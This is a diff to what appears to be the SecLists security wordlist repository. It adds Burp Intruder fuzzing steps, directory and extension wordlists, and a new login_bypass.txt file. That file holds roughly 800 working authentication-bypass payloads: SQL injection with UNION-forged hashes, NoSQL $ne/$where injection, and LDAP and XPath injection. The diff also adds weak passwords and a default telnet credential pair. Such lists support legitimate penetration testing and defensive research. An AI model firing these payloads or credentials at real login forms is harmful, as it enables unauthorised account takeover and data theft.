+### Source
+Source: Collected from various sources
+
+## api-endpoints-res.txt
+
+### Overview
+This file is a combination of all the files above.
+
+### Usage
+Use for: fuzzing web application APIs
+
+### Source
+Source: Collected from various sources
+
+## Usage Instructions
+
+1. In Burp Suite, send an API request you want to fuzz to Intruder.
 2. Remove the existing API function call, and replace it with two § characters for each text file you want to use.
 3. On the "Positions" tab, set Attack type to "Cluster Bomb".
- 4. On the "Payloads" tab, select 1 for the fist Payload set drop-down, then select a Payload type of "Runtime file" and navigate to the directory you downloaded these text files to. Select "actions.txt".
+4. On the "Payloads" tab, select 1 for the first Payload set drop-down, then select a Payload type of "Runtime file" and navigate to the directory you downloaded these text files to. Select "actions.txt".
 5. Repeat step 4 by setting Payload set 2 to "objects.txt".
- 6. (optional step - add more payload sets and set them to "objects.txt" to test for multi-part objects like "UserAccount")
- 7. Start attack!
+6. (Optional step - add more payload sets and set them to "objects.txt" to test for multi-part objects like "UserAccount")
+7. Start the attack!
 
 ## Comments
+
 If you use this and it's helpful, I'd love to hear about it! (@dagorim). If you think I've missed any obvious word choices, I'd love to hear about that as well, or feel free to add them.

Discovery/Web-Content/big.txt

@@ -1086,6 +1086,7 @@ __admin
 __backup
 __data
 __errfiles__
+__better_errors
 __g
 __include
 __includes
@@ -11066,6 +11067,7 @@ loginadmin
 loginerror
 loginflat
 loginimages
+loginURL
 logins
 logis
 logistics

Discovery/Web-Content/combined_directories.txt

@@ -9894,6 +9894,7 @@ web_store
 xxpafaq
 ]
 __errfiles__
+__better_errors
 ___test
 _art
 _artperpage

Discovery/Web-Content/combined_words.txt

@@ -19428,6 +19428,7 @@ xeabdbfddaccx
 _2
 _excel
 __errfiles__
+__better_errors
 _api
 _calendar
 _control

Discovery/Web-Content/common.txt

@@ -3527,6 +3527,7 @@ reports
 reports list
 repository
 repost
+reportserver
 reprints
 reputation
 req

Discovery/Web-Content/common_directories.txt

@@ -0,0 +1,4 @@
+gift-card
+insurance_applications
+shrdbms
+top-categories

Discovery/Web-Content/web-extensions-big.txt

@@ -1,13 +1,21 @@
 .asp
+.ascx
+.ashx
+.asmx
 .aspx
+.axd
 .bat
 .c
 .cfm
 .cgi
+.class
+.crt
 .css
+.csv
 .com
 .dll
 .exe
+.flv
 .hta
 .htm
 .html
@@ -27,6 +35,7 @@
 .php5
 .php6
 .php7
+.php8
 .phps
 .pht
 .phtml
@@ -54,12 +63,12 @@
 .ogv
 .oga
 .webm
+.webp
 .json
 .md
 .markdown
 .rss
 .atom
-
 .asp
 .asP
 .aSp
@@ -4351,6 +4360,8 @@
 .webm.markdown
 .webm.rss
 .webm.atom
+.yaml
+.yml
 .json.asp
 .json.aspx
 .json.bat

Discovery/Web-Content/web-extensions.txt

@@ -15,6 +15,7 @@
 .jhtml
 .js
 .jsa
+.json
 .jsp
 .log
 .mdb
@@ -32,6 +33,7 @@
 .phtml
 .pl
 .phar
+.rb
 .reg
 .sh
 .shtml

Fuzzing/login_bypass.txt

@@ -0,0 +1,833 @@
+admin
+password
+1234
+123456
+root
+toor
+test
+guest
+QNKCDZO
+aabg7XSs
+[$ne]=toto
+[$regex]=a.*
+{"$ne": null}
+{"$ne": "bar"}
+{"$gt": undefined}
+' or '1'='1
+' or ''='
+' or 1]%00
+' or /* or '
+' or "a" or '
+' or 1 or '
+' or true() or '
+'or string-length(name(.))<10 or'
+'or contains(name,'adm') or'
+'or contains(.,'adm') or'
+'or position()=2 or'
+admin' or '
+admin' or '1'='2
+*
+*)(&
+*)(|(&
+pwd)
+*)(|(*
+*))%00
+admin)(&)
+pwd
+admin)(!(&(|
+pwd))
+admin))(|(|
+1234
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+1234 " AND 1=0 UNION ALL SELECT "admin", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+' AND 1=0 UNION ALL SELECT '', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
+" AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
+and 1=1
+and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+like '%'
+or 0=0 --
+or 0=0 #
+or 0=0 –
+' or         0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or a=a--
+' or a=a–
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+') or ('x'='x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+"
+'-- 2
+"-- 2
+'='
+0'&lt;'2
+"="
+0"&lt;"2
+')
+")
+')-- 2
+')/*
+')#
+")-- 2
+") #
+")/*
+')-('
+')&('
+')^('
+')*('
+')=('
+0')&lt;('2
+")-("
+")&("
+")^("
+")*("
+")=("
+0")&lt;("2
+'-''-- 2
+'-''#
+'-''/*
+'&''-- 2
+'&''#
+'&''/*
+'^''-- 2
+'^''#
+'^''/*
+'*''-- 2
+'*''#
+'*''/*
+'=''-- 2
+'=''#
+'=''/*
+0'&lt;'2'-- 2
+0'&lt;'2'#
+0'&lt;'2'/*
+"-""-- 2
+"-""#
+"-""/*
+"&""-- 2
+"&""#
+"&""/*
+"^""-- 2
+"^""#
+"^""/*
+"*""-- 2
+"*""#
+"*""/*
+"=""-- 2
+"=""#
+"=""/*
+0"&lt;"2"-- 2
+0"&lt;"2"#
+0"&lt;"2"/*
+')-''-- 2
+')-''#
+')-''/*
+')&''-- 2
+')&''#
+')&''/*
+')^''-- 2
+')^''#
+')^''/*
+')*''-- 2
+')*''#
+')*''/*
+')=''-- 2
+')=''#
+')=''/*
+0')&lt;'2'-- 2
+0')&lt;'2'#
+0')&lt;'2'/*
+")-""-- 2
+")-""#
+")-""/*
+")&""-- 2
+")&""#
+")&""/*
+")^""-- 2
+")^""#
+")^""/*
+")*""-- 2
+")*""#
+")*""/*
+")=""-- 2
+")=""#
+")=""/*
+0")&lt;"2-- 2
+0")&lt;"2#
+0")&lt;"2/*
+'oR'2
+'oR'2'-- 2
+'oR'2'#
+'oR'2'/*
+'oR'2'oR'
+'oR(2)-- 2
+'oR(2)#
+'oR(2)/*
+'oR(2)oR'
+'oR 2-- 2
+'oR 2#
+'oR 2/*
+'oR 2 oR'
+'oR/**/2-- 2
+'oR/**/2#
+'oR/**/2/*
+'oR/**/2/**/oR'
+"oR"2
+"oR"2"-- 2
+"oR"2"#
+"oR"2"/*
+"oR"2"oR"
+"oR(2)-- 2
+"oR(2)#
+"oR(2)/*
+"oR(2)oR"
+"oR 2-- 2
+"oR 2#
+"oR 2/*
+"oR 2 oR"
+"oR/**/2-- 2
+"oR/**/2#
+"oR/**/2/*
+"oR/**/2/**/oR"
+'oR'2'='2
+'oR'2'='2'oR'
+'oR'2'='2'-- 2
+'oR'2'='2'#
+'oR'2'='2'/*
+'oR 2=2-- 2
+'oR 2=2#
+'oR 2=2/*
+'oR 2=2 oR'
+'oR/**/2=2-- 2
+'oR/**/2=2#
+'oR/**/2=2/*
+'oR/**/2=2/**/oR'
+'oR(2)=2-- 2
+'oR(2)=2#
+'oR(2)=2/*
+'oR(2)=(2)oR'
+'oR'2'='2' LimIT 1-- 2
+'oR'2'='2' LimIT 1#
+'oR'2'='2' LimIT 1/*
+'oR(2)=(2)LimIT(1)-- 2
+'oR(2)=(2)LimIT(1)#
+'oR(2)=(2)LimIT(1)/*
+"oR"2"="2
+"oR"2"="2"oR"
+"oR"2"="2"-- 2
+"oR"2"="2"#
+"oR"2"="2"/*
+"oR 2=2-- 2
+"oR 2=2#
+"oR 2=2/*
+"oR 2=2 oR"
+"oR/**/2=2-- 2
+"oR/**/2=2#
+"oR/**/2=2/*
+"oR/**/2=2/**/oR"
+"oR(2)=2-- 2
+"oR(2)=2#
+"oR(2)=2/*
+"oR(2)=(2)oR"
+"oR"2"="2" LimIT 1-- 2
+"oR"2"="2" LimIT 1#
+"oR"2"="2" LimIT 1/*
+"oR(2)=(2)LimIT(1)-- 2
+"oR(2)=(2)LimIT(1)#
+"oR(2)=(2)LimIT(1)/*
+'oR true-- 2
+'oR true#
+'oR true/*
+'oR true oR'
+'oR(true)-- 2
+'oR(true)#
+'oR(true)/*
+'oR(true)oR'
+'oR/**/true-- 2
+'oR/**/true#
+'oR/**/true/*
+'oR/**/true/**/oR'
+"oR true-- 2
+"oR true#
+"oR true/*
+"oR true oR"
+"oR(true)-- 2
+"oR(true)#
+"oR(true)/*
+"oR(true)oR"
+"oR/**/true-- 2
+"oR/**/true#
+"oR/**/true/*
+"oR/**/true/**/oR"
+'oR'2'LiKE'2
+'oR'2'LiKE'2'-- 2
+'oR'2'LiKE'2'#
+'oR'2'LiKE'2'/*
+'oR'2'LiKE'2'oR'
+'oR(2)LiKE(2)-- 2
+'oR(2)LiKE(2)#
+'oR(2)LiKE(2)/*
+'oR(2)LiKE(2)oR'
+"oR"2"LiKE"2
+"oR"2"LiKE"2"-- 2
+"oR"2"LiKE"2"#
+"oR"2"LiKE"2"/*
+"oR"2"LiKE"2"oR"
+"oR(2)LiKE(2)-- 2
+"oR(2)LiKE(2)#
+"oR(2)LiKE(2)/*
+"oR(2)LiKE(2)oR"
+admin
+admin'-- 2
+admin'#
+admin"-- 2
+admin"#
+ffifdyop
+' UniON SElecT 1,2-- 2
+' UniON SElecT 1,2,3-- 2
+' UniON SElecT 1,2,3,4-- 2
+' UniON SElecT 1,2,3,4,5-- 2
+' UniON SElecT 1,2#
+' UniON SElecT 1,2,3#
+' UniON SElecT 1,2,3,4#
+' UniON SElecT 1,2,3,4,5#
+'UniON(SElecT(1),2)-- 2
+'UniON(SElecT(1),2,3)-- 2
+'UniON(SElecT(1),2,3,4)-- 2
+'UniON(SElecT(1),2,3,4,5)-- 2
+'UniON(SElecT(1),2)#
+'UniON(SElecT(1),2,3)#
+'UniON(SElecT(1),2,3,4)#
+'UniON(SElecT(1),2,3,4,5)#
+" UniON SElecT 1,2-- 2
+" UniON SElecT 1,2,3-- 2
+" UniON SElecT 1,2,3,4-- 2
+" UniON SElecT 1,2,3,4,5-- 2
+" UniON SElecT 1,2#
+" UniON SElecT 1,2,3#
+" UniON SElecT 1,2,3,4#
+" UniON SElecT 1,2,3,4,5#
+"UniON(SElecT(1),2)-- 2
+"UniON(SElecT(1),2,3)-- 2
+"UniON(SElecT(1),2,3,4)-- 2
+"UniON(SElecT(1),2,3,4,5)-- 2
+"UniON(SElecT(1),2)#
+"UniON(SElecT(1),2,3)#
+"UniON(SElecT(1),2,3,4)#
+"UniON(SElecT(1),2,3,4,5)#
+'||'2
+'||2-- 2
+'||'2'||'
+'||2#
+'||2/*
+'||2||'
+"||"2
+"||2-- 2
+"||"2"||"
+"||2#
+"||2/*
+"||2||"
+'||'2'='2
+'||'2'='2'||'
+'||2=2-- 2
+'||2=2#
+'||2=2/*
+'||2=2||'
+"||"2"="2
+"||"2"="2"||"
+"||2=2-- 2
+"||2=2#
+"||2=2/*
+"||2=2||"
+'||2=(2)LimIT(1)-- 2
+'||2=(2)LimIT(1)#
+'||2=(2)LimIT(1)/*
+"||2=(2)LimIT(1)-- 2
+"||2=(2)LimIT(1)#
+"||2=(2)LimIT(1)/*
+'||true-- 2
+'||true#
+'||true/*
+'||true||'
+"||true-- 2
+"||true#
+"||true/*
+"||true||"
+'||'2'LiKE'2
+'||'2'LiKE'2'-- 2
+'||'2'LiKE'2'#
+'||'2'LiKE'2'/*
+'||'2'LiKE'2'||'
+'||(2)LiKE(2)-- 2
+'||(2)LiKE(2)#
+'||(2)LiKE(2)/*
+'||(2)LiKE(2)||'
+"||"2"LiKE"2
+"||"2"LiKE"2"-- 2
+"||"2"LiKE"2"#
+"||"2"LiKE"2"/*
+"||"2"LiKE"2"||"
+"||(2)LiKE(2)-- 2
+"||(2)LiKE(2)#
+"||(2)LiKE(2)/*
+"||(2)LiKE(2)||"
+')oR('2
+')oR'2'-- 2
+')oR'2'#
+')oR'2'/*
+')oR'2'oR('
+')oR(2)-- 2
+')oR(2)#
+')oR(2)/*
+')oR(2)oR('
+')oR 2-- 2
+')oR 2#
+')oR 2/*
+')oR 2 oR('
+')oR/**/2-- 2
+')oR/**/2#
+')oR/**/2/*
+')oR/**/2/**/oR('
+")oR("2
+")oR"2"-- 2
+")oR"2"#
+")oR"2"/*
+")oR"2"oR("
+")oR(2)-- 2
+")oR(2)#
+")oR(2)/*
+")oR(2)oR("
+")oR 2-- 2
+")oR 2#
+")oR 2/*
+")oR 2 oR("
+")oR/**/2-- 2
+")oR/**/2#
+")oR/**/2/*
+")oR/**/2/**/oR("
+')oR'2'=('2
+')oR'2'='2'oR('
+')oR'2'='2'-- 2
+')oR'2'='2'#
+')oR'2'='2'/*
+')oR 2=2-- 2
+')oR 2=2#
+')oR 2=2/*
+')oR 2=2 oR('
+')oR/**/2=2-- 2
+')oR/**/2=2#
+')oR/**/2=2/*
+')oR/**/2=2/**/oR('
+')oR(2)=2-- 2
+')oR(2)=2#
+')oR(2)=2/*
+')oR(2)=(2)oR('
+')oR'2'='2' LimIT 1-- 2
+')oR'2'='2' LimIT 1#
+')oR'2'='2' LimIT 1/*
+')oR(2)=(2)LimIT(1)-- 2
+')oR(2)=(2)LimIT(1)#
+')oR(2)=(2)LimIT(1)/*
+")oR"2"=("2
+")oR"2"="2"oR("
+")oR"2"="2"-- 2
+")oR"2"="2"#
+")oR"2"="2"/*
+")oR 2=2-- 2
+")oR 2=2#
+")oR 2=2/*
+")oR 2=2 oR("
+")oR/**/2=2-- 2
+")oR/**/2=2#
+")oR/**/2=2/*
+")oR/**/2=2/**/oR("
+")oR(2)=2-- 2
+")oR(2)=2#
+")oR(2)=2/*
+")oR(2)=(2)oR("
+")oR"2"="2" LimIT 1-- 2
+")oR"2"="2" LimIT 1#
+")oR"2"="2" LimIT 1/*
+")oR(2)=(2)LimIT(1)-- 2
+")oR(2)=(2)LimIT(1)#
+")oR(2)=(2)LimIT(1)/*
+')oR true-- 2
+')oR true#
+')oR true/*
+')oR true oR('
+')oR(true)-- 2
+')oR(true)#
+')oR(true)/*
+')oR(true)oR('
+')oR/**/true-- 2
+')oR/**/true#
+')oR/**/true/*
+')oR/**/true/**/oR('
+")oR true-- 2
+")oR true#
+")oR true/*
+")oR true oR("
+")oR(true)-- 2
+")oR(true)#
+")oR(true)/*
+")oR(true)oR("
+")oR/**/true-- 2
+")oR/**/true#
+")oR/**/true/*
+")oR/**/true/**/oR("
+')oR'2'LiKE('2
+')oR'2'LiKE'2'-- 2
+')oR'2'LiKE'2'#
+')oR'2'LiKE'2'/*
+')oR'2'LiKE'2'oR('
+')oR(2)LiKE(2)-- 2
+')oR(2)LiKE(2)#
+')oR(2)LiKE(2)/*
+')oR(2)LiKE(2)oR('
+")oR"2"LiKE("2
+")oR"2"LiKE"2"-- 2
+")oR"2"LiKE"2"#
+")oR"2"LiKE"2"/*
+")oR"2"LiKE"2"oR("
+")oR(2)LiKE(2)-- 2
+")oR(2)LiKE(2)#
+")oR(2)LiKE(2)/*
+")oR(2)LiKE(2)oR("
+admin')-- 2
+admin')#
+admin')/*
+admin")-- 2
+admin")#
+') UniON SElecT 1,2-- 2
+') UniON SElecT 1,2,3-- 2
+') UniON SElecT 1,2,3,4-- 2
+') UniON SElecT 1,2,3,4,5-- 2
+') UniON SElecT 1,2#
+') UniON SElecT 1,2,3#
+') UniON SElecT 1,2,3,4#
+') UniON SElecT 1,2,3,4,5#
+')UniON(SElecT(1),2)-- 2
+')UniON(SElecT(1),2,3)-- 2
+')UniON(SElecT(1),2,3,4)-- 2
+')UniON(SElecT(1),2,3,4,5)-- 2
+')UniON(SElecT(1),2)#
+')UniON(SElecT(1),2,3)#
+')UniON(SElecT(1),2,3,4)#
+')UniON(SElecT(1),2,3,4,5)#
+") UniON SElecT 1,2-- 2
+") UniON SElecT 1,2,3-- 2
+") UniON SElecT 1,2,3,4-- 2
+") UniON SElecT 1,2,3,4,5-- 2
+") UniON SElecT 1,2#
+") UniON SElecT 1,2,3#
+") UniON SElecT 1,2,3,4#
+") UniON SElecT 1,2,3,4,5#
+")UniON(SElecT(1),2)-- 2
+")UniON(SElecT(1),2,3)-- 2
+")UniON(SElecT(1),2,3,4)-- 2
+")UniON(SElecT(1),2,3,4,5)-- 2
+")UniON(SElecT(1),2)#
+")UniON(SElecT(1),2,3)#
+")UniON(SElecT(1),2,3,4)#
+")UniON(SElecT(1),2,3,4,5)#
+')||('2
+')||2-- 2
+')||'2'||('
+')||2#
+')||2/*
+')||2||('
+")||("2
+")||2-- 2
+")||"2"||("
+")||2#
+")||2/*
+")||2||("
+')||'2'=('2
+')||'2'='2'||('
+')||2=2-- 2
+')||2=2#
+')||2=2/*
+')||2=2||('
+")||"2"=("2
+")||"2"="2"||("
+")||2=2-- 2
+")||2=2#
+")||2=2/*
+")||2=2||("
+')||2=(2)LimIT(1)-- 2
+')||2=(2)LimIT(1)#
+')||2=(2)LimIT(1)/*
+")||2=(2)LimIT(1)-- 2
+")||2=(2)LimIT(1)#
+")||2=(2)LimIT(1)/*
+')||true-- 2
+')||true#
+')||true/*
+')||true||('
+")||true-- 2
+")||true#
+")||true/*
+")||true||("
+')||'2'LiKE('2
+')||'2'LiKE'2'-- 2
+')||'2'LiKE'2'#
+')||'2'LiKE'2'/*
+')||'2'LiKE'2'||('
+')||(2)LiKE(2)-- 2
+')||(2)LiKE(2)#
+')||(2)LiKE(2)/*
+')||(2)LiKE(2)||('
+")||"2"LiKE("2
+")||"2"LiKE"2"-- 2
+")||"2"LiKE"2"#
+")||"2"LiKE"2"/*
+")||"2"LiKE"2"||("
+")||(2)LiKE(2)-- 2
+")||(2)LiKE(2)#
+")||(2)LiKE(2)/*
+")||(2)LiKE(2)||("
+' UnION SELeCT 1,2`
+' UnION SELeCT 1,2,3`
+' UnION SELeCT 1,2,3,4`
+' UnION SELeCT 1,2,3,4,5`
+" UnION SELeCT 1,2`
+" UnION SELeCT 1,2,3`
+" UnION SELeCT 1,2,3,4`
+" UnION SELeCT 1,2,3,4,5`
+' or 1=1 limit 1 -- -+
+'="or'
+Pass1234.
+Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658
+Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'#
+Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.
+Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')#
+Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61
+Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'#
+Pass1234.' and 1=0 union select 'admin',sha('Pass1234.
+Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')#
+Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
+Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
+Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
+Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
+Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
+Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
+Pass1234." and 1=0 union select "admin",sha("Pass1234.
+Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
+%A8%27 Or 1=1-- 2
+%8C%A8%27 Or 1=1-- 2
+%bf' Or 1=1 -- 2
+%A8%27 Or 1-- 2
+%8C%A8%27 Or 1-- 2
+%bf' Or 1-- 2
+%A8%27Or(1)-- 2
+%8C%A8%27Or(1)-- 2
+%bf'Or(1)-- 2
+%A8%27||1-- 2
+%8C%A8%27||1-- 2
+%bf'||1-- 2
+%A8%27) Or 1=1-- 2
+%8C%A8%27) Or 1=1-- 2
+%bf') Or 1=1 -- 2
+%A8%27) Or 1-- 2
+%8C%A8%27) Or 1-- 2
+%bf') Or 1-- 2
+%A8%27)Or(1)-- 2
+%8C%A8%27)Or(1)-- 2
+%bf')Or(1)-- 2
+%A8%27)||1-- 2
+%8C%A8%27)||1-- 2
+%bf')||1-- 2
+240610708
+true, $where: '1 == 1'
+, $where: '1 == 1'
+$where: '1 == 1'
+', $where: '1 == 1'
+1, $where: '1 == 1'
+{ $ne: 1 }
+', $or: [ {}, { 'a':'a
+' } ], $comment:'successful MongoDB injection'
+db.injection.insert({success:1});
+db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
+|| 1==1
+' && this.password.match(/.*/)//+%00
+' && this.passwordzz.match(/.*/)//+%00
+'%20%26%26%20this.password.match(/.*/)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+{$gt: ''}
+[$ne]=1
+';return 'a'=='a' && ''=='
+";return(true);var xyz='a
+0;return true
+

Fuzzing/special-chars + urlencoded.txt

@@ -0,0 +1,60 @@
+!
+"
+#
+%
+&
+'
+(
+)
+*
++
+,
+-
+.
+/
+:
+;
+<
+=
+>
+?
+@
+[
+\
+]
+^
+_
+`
+{
+|
+}
+~
+$
+%21
+%22
+%23
+%24
+%25
+%26
+%27
+%28
+%29
+%2A
+%2B
+%2C
+%2F
+%3A
+%3B
+%3C
+%3D
+%3E
+%3F
+%40
+%5B
+%5C
+%5D
+%5E
+%60
+%7B
+%7C
+%7D

Passwords/Common-Credentials/Language-Specific/README.md

@@ -1,6 +1,14 @@
 # Spanish
+
 - `Spanish_1000-common-usernames-and-passwords.txt`
 - `Spanish_common-usernames-and-passwords.txt`
 
 Source: https://github.com/hackingyseguridad/diccionarios
 
+# German
+
+- `German_common-password-list.txt`
+- `German_common-password-list-top-1000.txt`
+- `German_common-password-list-top-10000.txt`
+- `German_common-password-list-top-100000.txt`
+- `German_common-password-list-top-1000000.txt`

Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt

@@ -148,3 +148,4 @@ suma123:panger123
 debug:debug124
 root:root126
 guest:
+root:AK2040jk

README.md

@@ -85,6 +85,5 @@ See [CONTRIBUTING.md](CONTRIBUTING.md)
 This project is licensed under the [MIT license](LICENSE).
 
 [![MIT License](https://img.shields.io/badge/license-MIT_License-blue)](https://opensource.org/licenses/MIT)
-—
 
 <sup>NOTE: Downloading this repository is likely to cause a false-positive alarm by your anti-virus or anti-malware software, the filepath should be whitelisted. There is nothing in SecLists that can harm your computer as-is, however it's not recommended to store these files on a server or other important system due to the risk of local file include attacks.</sup>